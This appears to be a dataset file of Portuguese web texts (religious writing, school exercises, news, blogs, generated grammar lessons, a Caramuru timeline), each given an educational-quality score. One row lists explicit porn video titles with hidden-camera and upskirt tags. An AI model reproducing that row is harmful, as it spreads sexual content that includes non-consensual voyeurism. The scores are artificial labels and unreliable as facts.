+Os motivos que nos têm levado, em alguns lugares, a nos desviar das cidades e localizar nossas escolas no campo, aplicam-se da mesma maneira a escolas em outros lugares. Gastar dinheiro em mais construções quando a escola grandemente endividada, não está de acordo com os planos de Deus. Houvesse o dinheiro que nossas escolas maiores empregaram em prédios dispendiosos sido aplicado em terrenos onde nossos estudantes pudessem receber a educação apropriada, não haveria tão grande número de alunos agora lutando sob o peso de débito crescente, e a obra dessas instituições estaria em mais prósperas condições. Houvesse sido seguida essa direção, e teria havido algumas murmurações por parte dos alunos, suscitar-se-iam muitas objeções da parte dos pais; mas os estudantes teriam assegurado uma educação completa, a qual os haveria preparado, não somente para o trabalho prático em vários ofícios, mas para um lugar na fazenda do Senhor na terra renovada.
+Houvessem nossas escolas estimulado o trabalho no sentido agrícola, e teriam agora aspecto inteiramente diverso. Não haveria tão grande desânimo. Haver-se-iam vencido as influências contrárias; ter-se-iam mudado as condições financeiras. Ter-se-ia, quanto aos estudantes, uniformizado o trabalho; e como todo o organismo humano seria proporcionalmente exercitado, desenvolver-se-ia maior resistência
+CE - Pag. 164
+física e mental. Mas as instru��ões que ao Senhor aprouve dar foram tão frouxamente aplicadas, que os obstáculos não têm sido vencidos.
+Caso a terra seja cultivada, há de, com a bênção de Deus, suprir nossas necessidades. Não nos devemos desanimar por causa de coisas temporais, por causa de aparen...",original,original,original,original,3,0.6
+"Portal Escola: Atividades de vogais e consoantes para alfabetização
+Atividades de vogais e consoantes para alfabetização, que fala sobre, adivinhações com a letra U, pinte de azul as vogais e de vermelho as consoantes, escreva nos quadrinhos a vogal inicial, indique o número de vogais e consoantes em cada quadro, e atividades para treinar vogais.
+Adivinhações com a letra U
+Vou pintar as consoantes de azul e as vogais de vermelho
+Escreva nos quadrinhos a vogal inicial do nome dos desenhos
+Indique o número de vogais e de consoantes em cada quadro
+Vamos treinar vogais
+Pinte os quadrinhos das figuras cujos nomes começam com vogais
+Adivinhações com a letra O",original,original,original,original,4,0.8
+"GASES DE EFEITO ESTUFA BATERAM RECORDES - DE POLUIÇÃO - EM 2014 - Integração Brasil Online
+GASES DE EFEITO ESTUFA BATERAM RECORDES - DE POLUIÇÃO - EM 2014
+Um total de 413 cientistas de 58 países de todo o mundocontribuíram para o relatório, o 25º de uma série que se baseia em dados coletados pelas estações de monitoramento ambiental e instrumentos em terra, água, gelo e no espaço.
+Muitas das mesmas tendências verificadas nas últimas duas décadas continuaram em 2014. “O dióxido de carbono, metano e óxido nitroso – os principais gases de efeito estufa liberados na atmosfera da Terra – mais uma vez atingiram concentrações médias recordes para o ano de 2014″, afirmou.
+“A Europa teve seu ano mais quente já registrado por uma ampla margem, com cerca de duas dezenas de países batendo seus recordes de temperatura nacionais anteriores”,informou o documento.
+Os oceanos do mundo tiveram um recorde de calor no ano passado, e o nível do mar também esteve em seu nível mais alto nos tempos modernos. “Devido tanto ao aquecimento do oceano e quanto ao derretimento do gelo, o nível do mar global também bateu seu recorde em 2014, 67 milímetros, maior do que a média anual de 1993″, quando as medições de satélite do nível dos oceanos começaram, disse o relatório.
+O relatório completo foi publicado no Boletim da Sociedade Meteorológica Americana. Os dados do estudo reforçam a necessidade de que um acordo em nível global para a redução dos gases de efeito estufa – capaz de substituir o Protocolo de Kyoto – seja fechado em dezembro, quando representantes de 196 países estarão reunidos em Paris para a 21ª Conferência da ONU sobre Mudanças do Clima (COP21). Publicado pelo Site Agrosoft
+Tags: Clima , Mundo , Opinião , Planeta , saúde , vida",original,original,original,original,3,0.6
+"World Digital Library será apresentada hoje de manhã na sede da UNESCO, em Paris, durante uma conferência de imprensa.
+A partir de hoje, o acervo de diversas bibliotecas e arquivos mundiais estará reunido num só site. A plataforma, de nome World Digital Library (Biblioteca Digital Mundial), será apresentada pelas 11.00 na sede da UNESCO (Organização das Nações Unidas para a Educação, Ciência e Cultura), em Paris. Depois, no endereço www.worlddigitallibrary.org poderão ser consultados, gratuitamente, livros e manuscritos, mas também mapas, gravuras, fotografias e pinturas, bem como partituras ou filmes.
+O português é uma das sete línguas em que o site estará disponível, juntamente com o inglês, o francês, o espanhol, o chinês e o russo. Não obstante, as bibliotecas e arquivos nacionais decidiram ficar de fora desta iniciativa. Todos os materiais em língua portuguesa disponíveis na nova plataforma digital foram por isso doados por instituições do Brasil.
+Apesar do projecto ter a chancela da UNESCO, a ideia partiu de James Billington, director da Biblioteca do Congresso dos EUA, que em 2005 o apresentou aos responsáveis por aquela organização da ONU. O objectivo é não só facilitar o acesso a um vasto leque de objectos e materiais, mas também promover valores como a diversidade linguística e cultural, unindo os vários povos e, simultaneamente, reduzindo o ""fosso digital"" entre os países desenvolvidos e o Terceiro Mundo.
+De acordo um comunicado da UNESCO, o projecto visa ainda aumentar a qualidade e a variedade da oferta cultural na Internet, através da divulgação de materiais que poderão ser utilizados por ""professores e académicos, mas também pelo grande público"". Para atingir estes objectivos, e desenvolver a nova plataforma, a Biblioteca do Congresso (EUA), colaborou com 32 outras instituições internacionais, incluindo a Biblioteca de Alexandria.
+Entre os artigos que a partir de hoje poderão ser encontrados online encontra-se o Codex Giga, cedido pela Biblioteca Nacional da Suécia e considerado o maior manuscrito medieval. A Biblioteca Nacional do Brasil, por outro lado, cedeu algumas das mais antigas fotografias da América Latina, bem como mapas e obras cartográficas da época dos Descobrimentos.
+Retrado do ""DN"" de hoje
+Autoria e outros dados (tags, etc)
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+unesco
+publicado às 11:23
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+Prémio Azorín 2009
+por Carlos Pereira \foleirices, em 21.04.09
+LOLA BECCARIA obteve o Prémio Azorín 2009 pelo seu livro ""Arte de Perder"".
+A escritora nasceu em Ferrol, Corunha, em 1963. É doutorada em Filologia Hispânica e terapeuta gestual pelo Centro de Terapia e Psicologia de Madrid..
+Publicou o seu primeiro romance - A Debutante - em 1996;
+Foi finalista do Prémio Nadal em 2001 com o seu segundo romance ""A Lua em Jorge"";
+Em 2004 publica ""Mulher Nua"".
+Autoria e outros dados (tags, etc)
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+lola beccaria
+prémio azorín
+prémios literários
+publicado às 11:03
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+Traídos pelo preconceito
+por Carlos Pereira \foleirices, em 20.04.09
+Susan Boyle
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+susan boyle
+vídeos
+publicado às 15:11
+link do post
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+Vladímir Nabokov - Publicação da sua última novela
+por Carlos Pereira \foleirices, em 20.04.09
+A última novela do autor russo Vladímir Nabokov (1899-1977), intitulada ""O Original de Laura"" será publicada no próximo mês de Novembro, de acordo com o anúncio feito pela editora Penguin. Nabokov escreveu esta obra em 138 tarjetas que Penguin quer reproduzir junto a uma transcrição do texto em página contígua. Nabokov dera instruções para que a obra fosse destruída depois da sua morte.
+Autoria e outros dados (tags, etc)
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+vladimir nabokov
+publicado às 13:06
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+James Graham Ballard [1930-2009]
+por Carlos Pereira \foleirices, em 20.04.09
+James Graham Ballard, autor do Império do Sol que Spielberg adaptou ao cinema faleceu no dia 19 de Abril aos 78 ...",original,original,original,original,3,0.6
+"Crítica | “Rampage: Destruição Total” - CineOrna
+Crítica | “Rampage: Destruição Total”
+postado por Gabriel Lisboa em 11 de abril de 2018
+Com toda certeza “Rampage: Destruição Total” é um dos filmes com as maiores cenas de ação e destruição que você verá na vida! Falo com tranquilidade isso, pois do começo ao fim vemos o tanto que eles tentam passar um ‘ar de grandeza’ ao filme, seja pela história quanto pelos personagens, e isso já começa pelo gigante Dwayne Johnson.
+A história gira em torno de um primatólogo (The Rock) que trabalha em um zoológico, e seu protagonismo é combinado ao gorila albino, Georgie. E tanto o mesmo quanto um lobo e um jacaré são infectados por um composto químico geneticamente modificado com fórmula que carrega combinação de DNA de vários animais (e por aí vai), e a partir disso as criaturas se tornam gigantescas.
+Para você que talvez não saiba, “Rampage: Destruição Total” é baseado em um vídeo game criado em 1986, onde os protagonistas assumiam o controle dos monstros, e basicamente no filme essa base se encaixa bem, afinal, não há muito o que explorar, estamos falando de um filme de destruição em massa. Desmembrando o filme analisamos o seguinte: primeiramente, te aconselho a ver esse filme em um cinema IMAX, por razões óbvias, o IMAX é extremamente indicado, pois só ‘melhora’ a empolgação de ver algo grande em uma tela maior ainda. Segundo, se você tirar a ação do filme ele se tornaria um longa extremamente pobre e fraquíssimo.
+Dwayne sempre interpretando bem qualquer papel que dão a ele, mas o restante do elenco é muito pobre, com atuações ridículas, que mais parecem coisa de desenho animado com vilões caricaturados. Malim Akerman interpreta Claire Wyden, dona de uma bilionária companhia que trabalha com edição genética, responsável pela criação dos monstros. Jack Lacy faz Bretty Wyden, irmão de Clarie, e seu papel é o pior de todos, extramente forçado, estúpido, tapado, nem parece um empresário de porte gigantesco, mas sim o personagem assistente pateta que não serve para nada. Jeffrey D. Morgan, apesar de ser um excelente ator, não surpreendeu. Joe Manganiello, apesar de ser um ator famosinho até, tem uma ponta curta, interpretando o papel que combina com ele, o de militar.
+“Rampage: Destruição Total” tem diálogos ruins, as piadas são muito fracas. A maneira como se desenvolve o longa é bem fraquinha. Ponto alto para a computação gráfica e o 3D, que tentam salvar o filme, impecável, muito bem feito, os monstros perfeitos. Tirando o fato de que o filme força demais a barra em muitos momentos, onde um ser humano normal já teria morrido várias vezes, os personagens mais parecem seres imortais. Desconsiderando tudo isso e se for para comprar a ideia de que é um blockbuster para ser vendido, pois então você talvez se agrade.
+“Rampage: Destruição Total” é um filme para ver uma vez no cinema e infelizmente esquece-lo, a não ser que você seja um grande fã de enormes destruições e monstros, a�� neste caso, ficará bem servido.
+Universal Pictures divulgou o trailer de “Johnny English 3.0”
+Crítica | ""Baseado em Fatos Reais""",original,original,original,original,1,0.2
+"Jonas e Monique continuam se bronzeando na borda da piscina. O brother faz cafuné na sister. Monique parece gostar e fecha os olhos relaxada.
+Fabiana e Renata soltam um grito de animação, mas não corta o clima dos dois. Monique e Jonas abrem os olhos e passam a conversar com os outros brothers em volta. O clima é de carinho entre os dois confinados.
+Mais cedo, era Monique quem acariciava o brother na beira da piscina.
+Monique e Jonas voltaram a se beijar esta noite. Os dois assistiram ao cinema do Líder com Yuri e na hora de se despedir para dormir, os dois acabaram se beijando novamente. Jonas chamou a sister para dormir com ele no Quarto Praia e a sister aceitou o convite. Durante a noite o clima esquentou sob o edredom.
+Hoje de manhã, Monique contou para Renata tudo o que rolou com o brother sob o edredom durante a noite.",original,original,original,original,0,0.0
+"Há 1 ano 06:28 MegaTube empregada, bater uma punheta, tanga, engolir, calcinhas, dinheiro, calcinha fio dental
+Há 1 ano 12:00 XoZilla tanga, natural, ao ar livre, peitos em pe, em pé por trás, calcinha fio dental, seios branco
+Há 3 anos 02:15 xHamster tanga, por baixo da saia, xhamster calcinhas fio dental
+Há 2 anos 01:13 xHamster tanga, gosta de ser corno, 18 anos em hd, calcinha fio dental, essa gosta de da o cu
+Há 1 mês 02:25 xHamster por baixo da saia, tanga, de fio dental
+Há 3 meses 06:23 xHamster tanga, velha de fio dental, 27 anos
+Há 3 meses 08:30 XoZilla tanga, carro, carona com estranhos, tanga de lado, boquete de fio dental
+Há 1 ano 05:52 xHamster tanga, por baixo da saia, upskirts em hd, de calcinha fio dental, en el tanga, buceta vermelha
+Há 2 semanas 07:05 xHamster adolescentes (18+), casting, amador, tanga, sexo oral, pontos de vista, morenas, boquete em tanga
+Há 4 dias 04:59 xHamster tanga, negras, por baixo da saia, meias finas, britânicas
+Há 1 semana 10:00 Beeg milf, adolescentes (18+), calcinhas, tanga, loiras, brinquedos, pontos de vista
+Há 4 anos 05:30 HellPorno tanga, chupando de fio dental, tirando a roupa
+Há 3 anos 14:10 Porn.com tanga, do cu pra boca, russas, tangas a fuder, calcinha fio dental, tampão de bunda
+Há 5 anos 08:00 Pornoid tanga, por tras das cameras, la piedra, atrás das câmeras
+Há 5 meses 03:06 xHamster tanga, esposa de fio dental
+Há 1 mês 01:20 xHamster tanga, por baixo da saia, voyer, camera escondida, de fio dental
+Há 2 meses 08:00 Analdin secretárias, saltos altos, escritório, tanga, beijando, colega de trabalho, calcinhas fio dental, chyna r
+Há 5 anos 04:25 PornSharing tanga, vestido, vestido e fio dental
+Há 3 anos 34:08 Porn.com tanga, calcinhas, tanga a un lado, calcinha fio dental, do lado da pessoa",original,original,original,original,0,0.0
+"Óculos com proteção UV 400 é o que garante seus olhos protegidos dos raios ultravioleta, Quando estamos com óculos de sol tendemos a relaxar o olhar por conta da penumbra, que facilita a visão na claridade, é exatamente por esse motivo que você não deve usar óculos sem proteção, pois a lente escura aumenta a pupila do olho, deixando seus olhos ainda mais abertos e livres para absorver sem nenhuma barreira os raios ultravioleta.
+Os óculos com proteção UV 400 ajudam a reduzir e bloquear a intensidade de radiação que penetra nos tecidos oculares.
+Classificação da radiação ultravioleta:
+UVA têm um comprimento de onda de 320 a 400 nm e são os de maior incidência na superfície terrestre, uma vez que não são absorvidos pela camada de ozônio. Eles correspondem à maior porção do espectro ultravioleta e incidem de igual maneira durante todo o dia e em todas as estações do ano, incluindo dias nublados e com baixa luminosidade.
+UVB com comprimento de onda na faixa de 280 a 320 nm, são parcialmente absorvidos pela camada de ozônio, por isso apresentam maior incidência durante o verão, principalmente, no período das 10h às 16h, em regiões de altitudes elevadas e próximas à linha do Equador (como o Brasil, por exemplo).
+A superexposição a esses raios pode levar ao surgimento de sardas e machas e até aumentar o risco de desenvolver câncer; sem esquecer dos prejuízos aos olhos, como catarata e Cegueira.",original,original,original,original,4,0.8
+"Ah, me dei uma folguinha esses dias... Esses eventos purpurinados da carioquista aqui foram bem agitados! Tem coisa melhor do que comemorar aniversário ao lado de pessoas queridas? ♥ Depois disso, descanso merecido porque até eu voltar a rotina, meu povo, demorooooou... rsrs
+Bom, como eu sou uma pessoa très chic (hahaha), dividi a festcheeeenha em dois finais de semana. E vou aproveitar o clima de Boteco das Carioquistas pra falar um pouco dos lugares escolhidos.
+O primeiro, dia 07/05, foi na terrinha da facul, no Restaurante Patrono Comes e Bebes. Lá tem rodízio de peticos e outras opções para um Happy Hour bacana.
+- Agathinha escolheu para a ocasião o vestido de renda TCK (acervo há mais de 10 anos!!!) e casaqueto Farm. Colar: eu que fiz!
+- Fico devendo informações sobre o look da Rê Jardim, tá?
+Já o segundo (14/05) foi no Rota 66, em Ipanema. Purpurinei na Farme de Amoedo, gentemmmm *\\o/* O lugar foi sugestão da migs Julie (que ficou dodói e não pôde ir =/) e é bem legal. Gostei muito amiga, temos que voltar! =)
+Ah, no Rota 66, por indicação da Rê - deixo bem claro isso, hahahaha - nos sijogamus no Frozen: Limão, tangerina e morango.
+E teve boatos que a gente estava na pior. Se isso é tá na pior:
+Só pra constar: essas carinhas fofas do estilo ""boa moça"" não enganam ninguém, assim como meu olhar suuuper sedutor (Detalhe para a quantidade de bons drink nos copis)
+Esse combo saiu no Grupon essa semana, tem uma cara boa!
+Hahahahaha... Bons drink para todas! \\o/",original,original,original,original,0,0.0
+"Líder no mercado de TI para o setor público, temos como pilar da nossa atuação a excelência, a agilidade e a eficácia no atendimento.
+Para entrar em contato com a Central de Serviços do Serpro (CSS), utilize o número de 0800 ou o formulário eletrônico abaixo, escolhendo o assunto mais apropriado ao seu tipo de acionamento:",original,original,original,original,1,0.2
+"Olá, pequenos exploradores da língua portuguesa! Preparados para embarcar em uma aventura super divertida pelo mundo das letras e dos sinais? Hoje, vamos desvendar alguns segredos da ortografia e da pontuação, tornando a escrita uma brincadeira ainda mais legal. 
+
+Já pensou em como as palavras são como peças de um quebra-cabeça? Cada letra tem o seu lugar certinho para formar uma palavra com o som e o significado corretos. Às vezes, uma letrinha faz toda a diferença! Por exemplo, você já reparou na diferença entre ""casa"" e ""caça""? Uma letrinha ""ç"" muda tudo! E o som também! Prestar atenção nesses detalhes é super importante para escrevermos direitinho e para que todos nos entendam. Uma dica é sempre ler bastante! Quanto mais você lê, mais fácil fica de gravar como as palavras são escritas. 
+
+E o que dizer dos sinais de pontuação? Eles são como semáforos na nossa escrita! A vírgula (,) nos ajuda a dar pequenas pausas, como quando estamos correndo e precisamos respirar um pouquinho. Já o ponto final (.) indica que a frase terminou, como se fosse um ponto de chegada numa corrida. A interrogação (?) aparece quando fazemos uma pergunta: ""Você gosta de sorvete?"". E a exclamação (!) mostra surpresa, alegria ou espanto: ""Que legal!"". Usar os sinais de pontuação corretamente deixa o texto muito mais claro e interessante.
+
+Imagine que você está contando uma história para um amigo. Você não fala tudo correndo, sem pausas, não é mesmo? Você usa a voz para dar ênfase em algumas partes, faz pausas para que ele entenda bem e muda o tom de voz quando faz uma pergunta. Os sinais de pontuação fazem o mesmo na escrita! Eles ajudam o leitor a entender o ritmo e o sentido do que você está escrevendo.
+
+Para praticar, que tal brincar de caça-palavras? Procure em revistas e jornais palavras com ""ss"", ""rr"", ""ç"" e outras letrinhas que podem confundir. Ou então, invente frases usando diferentes sinais de pontuação. Você pode escrever sobre o seu dia, sobre um livro que gostou ou sobre um filme que assistiu. O importante é se divertir enquanto aprende!
+
+Lembre-se, a ortografia e a pontuação são ferramentas poderosas que nos ajudam a nos comunicar de forma clara e eficaz. Quanto mais você praticar, mais fácil e divertido será escrever. Então, pegue seu lápis, abra o caderno e comece a explorar o incrível mundo das palavras! E aí, pronto para a próxima aventura?",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir conceitos básicos de ortografia e pontuação de forma lúdica e acessível para crianças. A analogia com o quebra-cabeça e os semáforos facilita a compreensão. A sugestão de atividades práticas, como caça-palavras e criação de frases, promove o aprendizado ativo. O texto é bem escrito, claro e adequado ao público-alvo, tornando-o útil para o ensino fundamental.",5,1.0
+"Olá, estudantes! Já pararam para pensar como as palavras 'conversam' umas com as outras nas frases? Hoje, vamos explorar um dos segredos dessa conversa: a concordância verbal. Preparados para desvendar esse mistério?
+
+**O que é Concordância Verbal?**
+
+Concordância verbal é a 'dança' entre o verbo e o sujeito. Imagine que o sujeito é o líder da dança, e o verbo precisa seguir o ritmo dele. Isso significa que o verbo deve se flexionar (mudar sua forma) para combinar com o sujeito em número (singular ou plural) e pessoa (eu, tu, ele/ela, nós, vós, eles/elas).
+
+**Regra Básica: Sujeito no Singular, Verbo no Singular; Sujeito no Plural, Verbo no Plural.**
+
+Vamos ver alguns exemplos:
+
+*   **Singular:** *O aluno* *estuda* para a prova. (Um aluno, um estudo)
+*   **Plural:** *Os alunos* *estudam* para a prova. (V��rios alunos, vários estudos)
+
+Fácil, não é? Mas a gramática adora nos desafiar! Vamos explorar algumas situações que exigem um pouco mais de atenção.
+
+**Casos Especiais: Sujeitos Compostos**
+
+Quando temos mais de um sujeito (sujeito composto), a concordância geralmente é feita no plural. Por exemplo:
+
+*   *João e Maria* *foram* ao cinema. (João e Maria = Eles)
+
+Mas atenção! Se os sujeitos compostos forem sinônimos ou expressarem a mesma ideia, o verbo pode ficar no singular:
+
+*   *Cansaço e fadiga* *dominava* o atleta.
+
+**Sujeito Coletivo**
+
+Sujeito coletivo é aquele que, mesmo no singular, indica um grupo de seres (ex: turma, bando, plateia). O verbo geralmente fica no singular:
+
+*   *A turma* *estava* animada.
+
+Mas, se o sujeito coletivo vier seguido de uma expressão que especifica o grupo, o verbo pode ir para o plural:
+
+*   *A turma de alunos* *foram* ao museu.
+
+**E agora, um desafio!**
+
+Complete as frases abaixo com o verbo adequado:
+
+1.  *Eu* ______ (gostar) muito de estudar português.
+2.  *Nós* ______ (ir) ao parque no domingo.
+3.  *A professora* ______ (explicar) a matéria com clareza.
+4.  *Os pássaros* ______ (voar) alto no céu.
+
+Conseguiu? Se sim, parabéns! Você está dominando a concordância verbal! Se não, não se preocupe! Pratique, observe os exemplos e, em breve, você estará craque!
+
+**Por que a Concordância Verbal é Importante?**
+
+A concordância verbal garante que a sua mensagem seja clara e compreendida. Imagine uma frase com erros de concordância... Ela pode soar estranha e até mesmo mudar o sentido do que você quer dizer. Dominar a concordância verbal é essencial para uma boa comunicação, tanto na escrita quanto na fala.
+
+**Conclusão**
+
+A concordância verbal pode parecer um bicho de sete cabeças, mas com atenção, prática e os exemplos certos, ela se torna uma ferramenta poderosa para aprimorar a sua comunicação. Continue praticando, observando as frases que você lê e escreve, e em breve você estará dominando a arte da concordância verbal! E lembre-se: a gramática não é um conjunto de regras chatas, mas sim um mapa para nos ajudar a nos expressarmos com clareza e precisão.",Português,Gramática básica,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequando-se ao ensino fundamental. Introduz o conceito de concordância verbal de forma clara e progressiva, com exemplos práticos e exercícios. Aborda regras básicas e casos especiais, como sujeitos compostos e coletivos. O estilo de escrita é acessível e motivador, incentivando a prática e a compreensão da importância da concordância verbal para a comunicação eficaz. A estrutura do texto é coerente e bem organizada, facilitando o aprendizado. O texto é adequado e aplicável ao currículo escolar do ensino fundamental.",5,1.0
+"palavra do autor
+De volta às brochuras
+Loyola Brandão foi repórter e diretor de revista. Hoje, se diz um ""jornalista ocasional"": mais tempo para os livros
+Inês Pereira
+Escritor de romances, contos, crônicas, Ignácio de Loyola Brandão acaba de receber o Prêmio Jabuti na categoria Melhor Ficção pelo livro ""O Menino que Vendia Palavras"". Conquistou tantos leitores com seus livros quanto com a Vogue, revista da qual foi diretor de redação durante 15 anos e onde também colecionou tantas histórias. Descreve-se, atualmente, um jornalista ocasional. ""Minha carreira de repórter, editor, diretor, considero acabada. O cronista é um jornalista, mas na verdade é muito mais um escritor. E é assim que me realizo"", diz. Há dois anos, ele deixou a redação para voltar a escrever livros. ""Gosto de remexer a história da iniciativa privada."" Sua agenda também reserva tempo para projetos como a biografia de Olavo Setúbal - que concluiu a tempo de ser vista pelo banqueiro, antes que ele morresse - e a história do seu avô, ""um marceneiro de enorme talento, um verdadeiro escultor"", descreve. Mas como o jornalista nunca perde a mão, Loyola também pode ser lido quinzenalmente no Estado de S. Paulo e nas entrevistas mensais que publica na Vogue.
+Durante quanto tempo o sr. se dedicou exclusivamente à literatura?Consegui sobreviver de literatura apenas entre 1979 e 1980, com livros e escritos. Entre 1982 e 1984, vivi na Alemanha com uma bolsa de uma instituição cultural. A partir de 1990, voltei à atividade diária como jornalista, dirigindo a Vogue. Diria que somente Paulo Coelho e Luis Fernando Verissimo vivem de sua literatura. Nós outros temos ofícios complementares.
+A política de direitos autorais e a venda de livros permitem que se ganhe razoavelmente?Nem pensar. Para viver razoavelmente, um escritor teria que ter um grande sucesso que vendesse um milhão de exemplares, e possibilitasse fazer um pé-de-meia ou ter livros que vendessem uns 30 mil exemplares por mês. Na ficção ninguém faz isso no Brasil, com exceção dos dois citados.
+O que o sr. acha da produção literária no Brasil?Continua como sempre, os ""velhos"" produzindo, os novos surgindo, uns bons, outros não. Os jovens hoje têm os blogs, o que significa uma maneira de ser lido, o que não existia em nosso tempo. Naquela época, não fosse publicado, ninguém sabia que você existia.
+Quando o sr. se afastou da redação? Como é o seu dia-a-dia hoje?Da Vogue afastei-me há dois anos. Hoje faço uma entrevista por mês e a página de livros. Meu cotidiano? Escrever livros institucionais como a história da Copag, de baralhos, da Klabin, de papéis, da lanchonete Frevo, a Taxi Aéreo Líder. Gosto de remexer a história da iniciativa privada. Mas terminei também a biografia do Olavo Setúbal, o fundador do Itaú, história incrível de um homem empreendedor e revolucionário. Escrevo a crônica do Estadão e faço palestras pelo país afora.
+A sua história com a Vogue é longa... Pode destacar algumas passagens? A convivência com Luis Carta, um gênio do jornalismo, criador de revistas. Também destaco a maior entrevista que a Gisele Bündchen já deu a um jornalista. Foram cinco horas de conversa, ela que geralmente dá 20 minutos a um repórter. O ter colocado numa revista de moda temas como a justiça brasileira, os bastidores do parlamento brasileiro, os sem terra, as penitenciárias. Acho que ajudei o Andrea Carta (já falecido) a tirar a revista de um buraco nos anos 90. A revista hoje está numa fase efervescente sob direção de Patrícia Carta, que herdou o talento do pai e do irmão e segurou a publicação em momento bastante complicado emocionalmente para ela.
+Foi difícil conciliar a função de diretor de redação com a de escritor? Nunca misturei os dois. Na redação, nunca escrevi textos literários. Fora dela, meu tempo era para a literatura.O sr. também passou por outras editoras importantes, como a Abril e a Três. O que extrairia de fundamental da trajetória pelas redações?Aprender a fazer revista mensal. Aprender a olhar para o ...",original,original,original,original,3,0.6
+"Kim Dotcom lança nova canção contra o governo dos EUA [vídeo] - TecMundo
+Kim Dotcom, o conhecido dono do serviço Megaupload, lançou nesta sexta-feira (20) um novo vídeo em que questiona as práticas antipirataria do governo dos Estados Unidos. Na faixa batizada como “Mr. President”, ele afirma que Hollywood está dominando os políticos, o que está resultando no assassinato de qualquer tipo de inovação.
+O vídeo da canção marca a estreia do novo site de Dotcom, que apresenta links para o download gratuito da produção. “A guerra pela internet começou. Hollywood controla os políticos. O governo está matando a inovação. Não deixem eles se safarem disso”, dizem alguns trechos da composição.
+Segundo Dotcom, ataques como aquele realizado contra o seu site só vão resultar em danos à economia dos Estados Unidos. Segundo ele, fechar um serviço baseado na nuvem violando os direitos constitucionais de seus administradores só vai ajudar a manchar a imagem do governo do país.",original,original,original,original,1,0.2
+"Provável ano do nascimento de Diogo Álvares Corrêa, na Península Ibérica: no norte de Portugal ou no noroeste da Espanha (Galícia). Uma terceira versão confere-lhe o nascimento no oeste da França (Bretanha).
+Provável ano do nascimento da índia Paraguassú, na Ilha de Itaparica ou na região do Baixo Paraguaçu.
+Rodrigo de Acuña, comandante do galeão espanhol San Gabriel, encontra-se com Caramuru.
+No dia 30 de julho, em Saint-Malo, provavelmente na Cathédrale Saint-Vicent-de-Saragosse, Paraguassú é batizada e recebe o nome de Katherine du Brezil.
+Caramuru e Katherine regressam da França, após se casarem sob as bênçãos católicas e onde ele teria passado importantes informações à espionagem portuguesa.
+Martim Afonso de Souza, comandante de uma expedição colonizadora, que se destinava ao sul do Brasil, chega à Baía de Todos os Santos em 13 de março, onde encontra Caramuru. Pero Lopes de Souza, piloto de uma das naus da esquadra, registra no diário de navegação:
+“Nesta baía achamos um homem português, que havia vinte e dois anos que estava nesta terra”.
+Retornando do sul, em demanda a Portugal, Pero Lopes de Souza entra na Baía de Todos os Santos e encontra-se novamente com Caramuru.
+Martim Afonso de Souza, de passagem para a Ásia, faz escala na Baía de Todos os Santos e pela segunda vez se encontra com Caramuru. Na expedição encontrava-se um grupo de franciscanos, liderados por frei Diogo de Borba, que oficia batizados de crianças mamelucas e o casamento de Madalena e Felipa, filhas que Caramuru teve antes de conhecer a índia Paraguassú.
+Caramuru constrói, a pedido da esposa, um oratório de taipa para abrigar a imagem da Virgem Maria. Essa capela, atual Igreja de Nossa Senhora da Graça, foi o primeiro templo católico no Brasil.
+Juan de Mori, comandante da nau espanhola San Pedro, encontra-se com Caramuru e faz o seguinte registro no diário de bordo: “Neste porto estava um cristão que se disse Diego Alvares, que há 26 anos ali estava”.
+Francisco Pereira Coutinho, donatário da recém-criada Capitania da Bahia de Todos os Santos, chega com a comitiva de colonos e encontra Caramuru, que o auxilia na fundação de uma vila, que ficou conhecida como Vila do Pereira. Foi erguida no outeiro de Santo Antônio da Barra, perto da aldeia em que Caramuru residia com familiares e alguns brancos, dentre eles o clérigo João Bezerra.
+Caramuru vai a Porto Seguro conversar com o donatário deposto. Comunica-lhe um ataque de corsários franceses à sua vila e pede que Francisco Pereira Coutinho, o Rusticão, volte para defender a capitania. A viagem resultou numa carta, datada de 28 de julho de 1546, enviada pelo donatário da Capitania de Porto Seguro, Pero do Campo Tourinho, ao rei de Portugal, D. João III, onde num trecho aludiu:
+Thomé de Souza, primeiro governador-geral do Brasil, chega no dia 29 de março. A expedição é bem recebida pelos nativos, tendo à frente Caramuru, cuja colaboração foi de extrema importância para selar a paz dos tupinambás com os portugueses, garantindo a tranquila construção da Cidade do Salvador.
+No dia 31 de março, em solenidade presidida pelo jesuíta Manuel da Nóbrega, foi celebrada a primeira festa mariana no Brasil, na Ermida da Nossa Senhora da Graça, com uma missa em honra à chegada de Thomé de Souza, que esteve presente, juntamente com membros da sua comitiva, de vários índios e do primeiro casal cristão do Brasil, Caramuru e Catharina Paraguassú.
+Caramuru falece em Salvador, no dia 5 de outubro, com a idade presumida de 67 anos, sendo sepultado na Igreja do Mosteiro de Jesus – atual Catedral Basílica –, com todas as honras da ordem jesuítica.",original,original,original,original,4,0.8
+"A doença que desafiou Stephen Hawking durante décadas ainda é um mistério para a ciência - Atualidade - SAPO Lifestyle
+O astrofísico britânico Stephen Hawking, que morreu esta quarta-feira aos 76 anos depois de passar várias décadas numa cadeira de rodas com o auxílio de ventilação artificial, sofria de esclerose lateral amiotrófica (ELA), uma doença sem cura e que ainda é um mistério para a ciência.
+A ELA é uma doença neurodegenerativa paralisante rara. Em média, surgem dois novos casos em cada 100.000 pessoas por ano, apresentando maior incidência em pessoas com idades entre os 55 e os 65 anos. Hawking foi diagnosticado com esta doença aos 21 anos.
+A doença integra um grupo de neuropatias motoras que provocam degeneração física progressiva: as vítimas perdem o controlo dos seus músculos. No caso de Hawking, por exemplo, ele era capaz de controlar apenas um músculo do corpo, o da bochecha.
+Esta patologia caracteriza-se por ter como primeiro sinal a perda da capacidade de movimentar os braços e pernas. Quando a paralisia alcança os músculos do diafragma e a parede torácica, os pacientes perdem a capacidade de respirar de forma autónoma e precisam de assistência artificial para sobreviver.
+Hawking desafiou todas as previsões. Quando foi diagnosticado com a doença, em meados dos 60 do século passado, deram-lhe apenas dois anos de vida. Mas o astrofísico continuou a viver e a trabalhar durante várias décadas na sua cadeira de rodas e ligado a um respirador artificial.
+O único músculo que conseguia movimentar servia para comunicar através de um computador que interpretava os seus gestos faciais e os traduzia para uma voz eletrónica, que se tornou ""a sua imagem de marca"".
+Os médicos consideram a sua longevidade um mistério porque a doença não tem cura. De acordo com as estatísticas, a morte por ELA acontece entre os 24 e os 36 meses depois do diagnóstico.",original,original,original,original,3,0.6
+"Toda a boa prática será castigada – 4
